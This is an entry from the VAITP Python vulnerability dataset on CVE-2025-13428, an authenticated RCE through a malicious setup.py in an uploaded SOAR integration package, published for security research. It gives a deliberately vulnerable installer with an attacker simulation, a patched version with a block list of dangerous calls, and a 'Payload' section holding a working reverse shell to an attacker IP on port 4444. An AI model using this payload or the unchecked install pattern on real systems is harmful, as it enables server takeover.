VAITP Dataset

← Back to the dataset

CVE-2025-13428

Authenticated RCE in SOAR server via a malicious custom integration package.

  • CVSS 8.6
  • CWE-20
  • Input Validation and Sanitization
  • Remote

A vulnerability exists in the SecOps SOAR server. The custom integrations feature allowed an authenticated user with an "IDE role" to achieve Remote Code Execution (RCE) in the server. The flaw stemmed from weak validation of uploaded Python package code. An attacker could upload a package containing a malicious setup.py file, which would execute on the server during the installation process, leading to potential server compromise. No customer action is required. All customers have been automatically upgraded to the fixed version: 6.3.64 or higher.

CVSS base score
8.6
Published
2025-12-09
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
SecOps SOAR

Solution

Upgrade to version 6.3.64 or higher.

Vulnerable code sample

import os
import subprocess
import tempfile
import shutil
import tarfile

# This represents the vulnerable server-side function that processes an uploaded integration package.
# The flaw is that it blindly trusts and executes the setup.py file from the package.
def install_custom_integration(package_path):
    """
    Extracts and installs a custom integration package.
    VULNERABILITY: Executes setup.py without validation, leading to RCE.
    """
    # Create a temporary directory to extract the package
    with tempfile.TemporaryDirectory() as temp_dir:
        print(f"[Server] Unpacking '{package_path}' to '{temp_dir}'...")
        try:
            # Unpack the tar.gz file
            shutil.unpack_archive(package_path, temp_dir)
        except Exception as e:
            print(f"[Server] Error unpacking archive: {e}")
            return

        # Find the setup.py file's directory
        package_source_dir = None
        for root, dirs, files in os.walk(temp_dir):
            if "setup.py" in files:
                package_source_dir = root
                break

        if package_source_dir:
            print(f"[Server] Found setup.py in '{package_source_dir}'.")
            print("[Server] VULNERABLE ACTION: Running 'python setup.py install'...")

            # DANGEROUS: Execute the setup script. An attacker controls this file.
            # This is where the Remote Code Execution occurs.
            try:
                # The 'cwd' argument ensures the command runs in the context of the extracted package.
                result = subprocess.run(
                    ["python", "setup.py", "install"],
                    cwd=package_source_dir,
                    capture_output=True,
                    text=True,
                    check=False # Set to False to see output even on error
                )
                print("[Server] Subprocess STDOUT:\n" + result.stdout)
                print("[Server] Subprocess STDERR:\n" + result.stderr)
                print("[Server] Installation command finished.")

            except Exception as e:
                print(f"[Server] An exception occurred during installation: {e}")
        else:
            print("[Server] Error: setup.py not found in the package.")


# --- Simulation of an attacker's actions ---
def create_malicious_package(file_name="malicious_package.tar.gz"):
    """Creates a malicious Python package with a payload in setup.py."""
    print("[Attacker] Creating a malicious package...")

    # The malicious payload to be embedded in setup.py
    # This payload will execute on the server during installation.
    malicious_setup_py_content = """
from setuptools import setup
import os

print("--- Malicious setup.py is executing ---")
# Simple RCE payload: create a file to prove execution
payload_file = "/tmp/rce_was_successful"
print(f"Executing payload: Creating file at {payload_file}")
with open(payload_file, "w") as f:
    f.write("CVE-2025-13428 PoC executed successfully.\\n")
print("--- Malicious execution finished ---")

setup(
    name="malicious_integration",
    version="1.0",
    description="A package with a harmful setup script.",
)
"""
    with tempfile.TemporaryDirectory() as temp_dir:
        package_dir = os.path.join(temp_dir, "malicious_integration-1.0")
        os.makedirs(package_dir)

        # Write the malicious setup.py
        with open(os.path.join(package_dir, "setup.py"), "w") as f:
            f.write(malicious_setup_py_content)

        # Write a dummy __init__.py to make it a package
        with open(os.path.join(package_dir, "__init__.py"), "w") as f:
            pass
        
        # Create a compressed tarball (source distribution)
        with tarfile.open(file_name, "w:gz") as tar:
            tar.add(package_dir, arcname=os.path.basename(package_dir))

    print(f"[Attacker] Malicious package created at '{file_name}'")
    return file_name


if __name__ == "__main__":
    # 1. Attacker creates the malicious package
    malicious_archive = create_malicious_package()

    print("\n" + "="*50 + "\n")

    # 2. Attacker uploads the package, and the server's vulnerable function processes it
    print("[Server] Simulating an authenticated user uploading a custom integration...")
    # This function call represents the vulnerable part of the server application
    install_custom_integration(malicious_archive)

    print("\n" + "="*50 + "\n")

    # 3. Verify if the RCE payload was successful
    proof_of_concept_file = "/tmp/rce_was_successful"
    print(f"[Verification] Checking for existence of '{proof_of_concept_file}'...")
    if os.path.exists(proof_of_concept_file):
        print(f"[Verification] SUCCESS: The payload executed. The file was created.")
        with open(proof_of_concept_file, 'r') as f:
            print(f"File content: '{f.read().strip()}'")
        # Clean up the evidence
        os.remove(proof_of_concept_file)
        print("[Verification] Cleaned up the payload file.")
    else:
        print("[Verification] FAILURE: The payload did not execute. The file was not found.")

    # Clean up the created package
    if os.path.exists(malicious_archive):
        os.remove(malicious_archive)

Patched code sample

import os
import shutil
import subprocess
import tarfile
import tempfile
from pathlib import Path

# A set of dangerous patterns to detect in the source code.
# In a real-world scenario, a more robust static analysis tool would be used.
DANGEROUS_PATTERNS = {
    b'os.system',
    b'subprocess.run',
    b'subprocess.call',
    b'subprocess.check_call',
    b'subprocess.check_output',
    b'eval(',
    b'exec('
}

class UnsafePackageError(Exception):
    """Custom exception for invalid or malicious packages."""
    pass

def secure_install_integration(package_path: str, install_target_dir: str):
    """
    Securely unpacks and installs a Python package, validating its contents
    to prevent Remote Code Execution (RCE) via malicious setup files.

    This function enforces modern packaging standards and performs basic static analysis.

    Args:
        package_path: The path to the uploaded package file (e.g., a .tar.gz).
        install_target_dir: The directory where the package should be installed.

    Raises:
        UnsafePackageError: If the package is found to be unsafe.
        FileNotFoundError: If the package_path does not exist.
        subprocess.CalledProcessError: If the installation command fails.
    """
    if not os.path.exists(package_path):
        raise FileNotFoundError(f"Package not found at: {package_path}")

    temp_dir = tempfile.mkdtemp()
    try:
        # 1. Securely extract the package
        with tarfile.open(package_path) as tf:
            # Prevent path traversal attacks
            for member in tf.getmembers():
                if member.name.startswith("/") or ".." in member.name:
                    raise UnsafePackageError("Package contains invalid or malicious file paths (path traversal).")
            tf.extractall(temp_dir)

        # The actual source code is often in a subdirectory
        package_root = temp_dir
        # Find the directory containing pyproject.toml
        pyproject_path = next(Path(package_root).glob('**/pyproject.toml'), None)
        if pyproject_path:
            package_root = pyproject_path.parent
        else:
             raise UnsafePackageError("Package validation failed: 'pyproject.toml' not found. Modern packaging is required.")

        # 2. **VULNERABILITY FIX**: Validate package structure and contents
        has_pyproject_toml = False
        
        for root, _, files in os.walk(package_root):
            # FIX: Disallow 'setup.py' to prevent execution of arbitrary code during installation.
            if 'setup.py' in files:
                raise UnsafePackageError("Package validation failed: 'setup.py' is not allowed. Use 'pyproject.toml' instead.")

            if 'pyproject.toml' in files and Path(root) == Path(package_root):
                has_pyproject_toml = True

            # FIX: Perform basic static analysis on all Python files.
            for filename in files:
                if filename.endswith('.py'):
                    file_path = os.path.join(root, filename)
                    with open(file_path, 'rb') as f:
                        content = f.read()
                        for pattern in DANGEROUS_PATTERNS:
                            if pattern in content:
                                raise UnsafePackageError(f"Package validation failed: Potentially dangerous code found in '{file_path}'.")

        if not has_pyproject_toml:
            raise UnsafePackageError("Package validation failed: 'pyproject.toml' not found in the root. Modern packaging is required.")
        
        # 3. If all checks pass, proceed with a safe installation
        # Use pip to install from the validated local source directory.
        # This is safer than running 'python setup.py install'.
        # The '--no-deps' flag can prevent fetching untrusted remote dependencies.
        # Installing to a specific target directory isolates the package.
        subprocess.run(
            [
                'python', '-m', 'pip', 'install',
                '--target', install_target_dir,
                '--no-dependencies',
                str(package_root)
            ],
            check=True,
            capture_output=True,
            text=True
        )

    finally:
        # 4. Clean up the temporary directory
        shutil.rmtree(temp_dir)

Payload

from setuptools import setup, find_packages
import socket
import os
import subprocess

RHOST = '10.10.10.10'  # Attacker's IP address
RPORT = 4444           # Attacker's listening port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(['/bin/sh', '-i'])

setup(
    name='malicious_integration',
    version='1.0',
    description='A malicious package to exploit CVE-2025-13428',
    packages=find_packages(),
)

Cite this entry

@misc{vaitp:cve202513428,
  title        = {{Authenticated RCE in SOAR server via a malicious custom integration package.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-13428},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-13428/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::